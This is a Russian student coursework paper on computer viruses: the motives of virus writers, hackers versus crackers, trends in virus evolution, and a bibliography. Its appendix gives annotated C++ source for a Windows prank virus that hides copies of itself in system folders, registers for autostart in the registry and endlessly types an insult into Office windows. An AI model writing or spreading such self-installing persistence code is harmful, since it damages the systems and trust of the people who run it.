
- •Курсовая работа Дисциплина: Компьютерные и когнитивные системы Тема: Компьютерные вирусы
- •История компьютерных вирусов
- •Классификация компьютерных вирусов
- •Характеристики основных компьютерных вирусов
- •Троянские программы
- •Шпионские программы
- •Вирусы в мобильных телефонах
- •Антивирусные программы
- •Типы антивирусных программ
- •Мотивы написания вирусов
Мотивы написания вирусов
Попробуем понять, зачем люди пишут вирусы?
Для удовольствия
Это первая и наиболее основная причина. Это может звучать смешно, по сравнению с наносимым ущербом, но автору было просто интересно, что может произойти.
Поиск известности
Вторая причина для написания - это добиться того, чтобы твой кусок кода появился на Wildlist, сайте освещающем циркулирующие в данный момент по миру вирусы.
Раскрывшиеся серьезные кодеры
Эта группа включает в себя более опасных и серьезных кодеров, которые имеют достаточно серьезный опыт в программировании, и могут писать на уровне антивирусной индустрии. В созданные вирусы они добавляют процедуры и функции не дающие при дизассемблировании получить исходный код. Обычно такие вирусы пишутся для какого-либо исследования, а не для нанесения вреда конечному пользователю. Хотелось бы упомянуть, что доступ к этому коду имеет достаточно ограниченное количество людей, и все из этой же группы, либо этот код становится доступным в сети, как доказательство найденной уязвимости. Они не наносят никому ущерба, а указывают на направление, откуда ущерб может быть нанесен.
Рассерженные одиночки
Последняя и наиболее опасный тип вирусописателя. Их не интересует какая-либо мораль или закон, и забота о том ущербе, который может понести пострадавший. У каждого из них есть своя персональная цель. Они не относят себя ни к какой группе кодеров, ни в коей мере. Их задача нанести максимальный урон или создать вирус который "даст власть над всем миром".
Этих людей нельзя подвести под общие рамки вирусописателей, так как у каждого их них своя мораль и о ней никто не знает. Сейчас к этой группе относится не так много людей. И хорошо, что пока их амбиции не совпадают с их возможностями. Однако, с учетом того, насколько чаще находятся уязвимости в используемом всеми ПО, шанс добиться своей цели у них с каждым днем все выше.
Увлечение
Как уже говорилось, многие вирусописатели делают это из увлечения. У кого-то есть достаточно свободного времени, которое он проводит за любимым занятием. Это скорее относится к молодым людям, так как у более старшего поколения чаще гораздо больше забот.
Их можно сравнить с первой группой, однако чаще они более грамотно программируют, часами смотрят логи на наличие частей пропущенного кода, или раз за разом проверяют работоспособность своих творений под различными ОС (своего рода бета-тестирование). Кодеры часто помогают друг другу советами, делятся информацией, ночами изучают новые вирусы, или придумывают новые идеи.
Хакеры
Понятие компьютерного вируса ассоциируется с хакерами.
Хакер (англ. hacker, от to hack — рубить, кромсать) — чрезвычайно квалифицированный ИТ-специалист, человек, который понимает самые глубины работы компьютерных систем. Изначально хакерами называли программистов, которые исправляли ошибки в программном обеспечении каким-либо быстрым и далеко не всегда элегантным (в контексте используемых в программе стиля программирования и ее общей структуры, дизайна интерфейсов) или профессиональным способом; слово hack пришло из лексикона хиппи, в русском языке есть идентичное жаргонное слово "врубаться".
Сейчас хакеров очень часто отождествляют с компьютерными взломщиками — крэкерами (англ. cracker, от to crack — раскалывать, разламывать); однако такое употребление слова «хакер» неверно.
Заключение
В настоящее время для существует несколько десятков тысяч компьютерных вирусов и их число продолжает расти. Поэтому следует, с одной стороны, ожидать постепенного проникновения в Россию новых, более опасных и изощренно написанных вирусов, включая стелс-вирусы, и с другой - потока сравнительно простых, а зачастую и безграмотно написанных вирусов в результате "вирусного взрыва" внутри самой страны. Не следует думать, что эволюция вирусов пойдет только в направлении их усложнения.
Опыт показал, что сложность стелс-вирусов существенно снижает их жизнеспособность. Как отмечал С.Н.Паркинсон в одном из своих знаменитых законов, "рост означает усложнение, а усложнение - разложение". По-видимому, эволюция компьютерных вирусов будет идти сразу в нескольких направлениях, лишь одним из которых являются стелс-вирусы.
Хотя общее количество вирусов велико, лежащие в их основе идеи сравнительно малочисленны и не так просто поддаются расширению. Поэтому основной тенденцией, наблюдаемой в настоящее время, является не столько появление новых типов вирусов, сколько комбинирование уже известных идей. Такие "гибриды", как правило, оказываются опаснее базисных видов.
Еще чаще наблюдается тенденция к минимальной модификации одного из получивших широкое распространение вирусов, что приводит к образованию вокруг "базисного" вируса группы штаммов, причем их количество в некоторых случаях превышает десяток.
Список литературы
Безруков Н.Н. Компьютерная вирусология. - К.: УРЕ, 1991.
Защита программного обеспечения. Под ред. Гроувера Д. -М.: Мир, 1992.
Зегжда Д.П., Матвеев В.А., Молотков С.В., Тихомиров Ю.В., под редакцией Шмакова Э. М. Защита информации в компьютерных системах. Теоретические аспекты защиты от вирусов. - СПб.: СПбГТУ, 1993.
Касперский Е. Компьютерные вирусы: эволюция вверх, вниз ив стороны. Материалы эхо-конференции SU.VIRUS. - 1994.
Микляев А. Настольная книга пользователя
Расторгуев С.П., Дмитриевский Н.Н. Искусство защиты и “раздевания" программ. - М.: 1991.
Спесивцев А.В. и др. Защита информации в персональных ЭВМ. М.: Радио и связь, 1992
Фигурнов В.Э. IBM PC для пользователя
Cohen F. Computer viruses. Theory and experiments // Adv.Comput. Syst. Secur. Vol. 3 - Norwood (Mass), 1988.
Приложение 1. Пример вредоносного кода на C++
Подключаем библиотеки и создаем основные переменные.
#include <windows.h>
#include <iostream.h>
WINAPI WinMain(HINSTANCE hint, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HKEY key;
char sysdir[256],
windir[256],
myname[256];
Узнаем свое имя функцией GetModuleFileName. И узнает адрес папки windows и папки system32 функциями GetWindowsDirectory и GetSystemDirectory
GetModuleFileName(hint,myname,256);
GetWindowsDirectory(windir,sizeof(windir));
GetSystemDirectory(sysdir,sizeof(sysdir));
Добавляем к строкам содержащим пути к системным папкам имя нашего вируса, чтобы скопировать в эти папки себя.
strcat(windir,"\\internet.exe");
strcat(sysdir,"\\internet.exe");
Копируемся и ставим себе скрытые атрибуты
CopyFile(myname,windir,FALSE);
CopyFile(myname,sysdir,FALSE);
SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(sysdir,FILE_ATTRIBUTE_HIDDEN);
Прописываемся в реестр на автозагрузку
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0,KEY_WRITE, &key);
RegSetValueEx(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);
RegCloseKey(key);
Ожидаем 2 минуты.
Sleep(60000*2); //Две минуты
Запускаем бесконечный цикл каждые 10 секунд. В цикле ищем окна содержащие в своих заголовках Microsoft Word, Microsoft Excel,Microsoft PowerPoint. Максимизируем окно, переключаем раскладку клавиатуры на русскую и эмулируем нажатие на несколько клавиш. В результате в окне пользователя в WORD сам по себе печатается текст "Вы ламер".
int k=0;
do
{
if (FindWindow(NULL, "Microsoft Word")!=0 || FindWindow(NULL, "Microsoft Excel")!=0 || FindWindow(NULL, "Microsoft PowerPoint")!=0)
{
ShowWindow(FindWindow(NULL, "Microsoft Word") , SC_MAXIMIZE);
LoadKeyboardLayout("00000419", KLF_ACTIVATE);
Sleep(10000);
do
{
keybd_event('D', 0,0,0);
keybd_event('D', 0,KEYEVENTF_KEYUP,0);
keybd_event('S', 0,0,0);
keybd_event('S', 0,KEYEVENTF_KEYUP,0);
keybd_event(VK_SPACE, 0,0,0);
keybd_event(VK_SPACE, 0,KEYEVENTF_KEYUP,0);
keybd_event('K', 0,0,0);
keybd_event('K', 0,KEYEVENTF_KEYUP,0);
keybd_event('F', 0,0,0);
keybd_event('F', 0,KEYEVENTF_KEYUP,0);
keybd_event('V', 0,0,0);
keybd_event('V', 0,KEYEVENTF_KEYUP,0);
keybd_event('T', 0,0,0);
keybd_event('T', 0,KEYEVENTF_KEYUP,0);
keybd_event('H', 0,0,0);
keybd_event('H', 0,KEYEVENTF_KEYUP,0);
}while(1);
}
}while(1);
}
.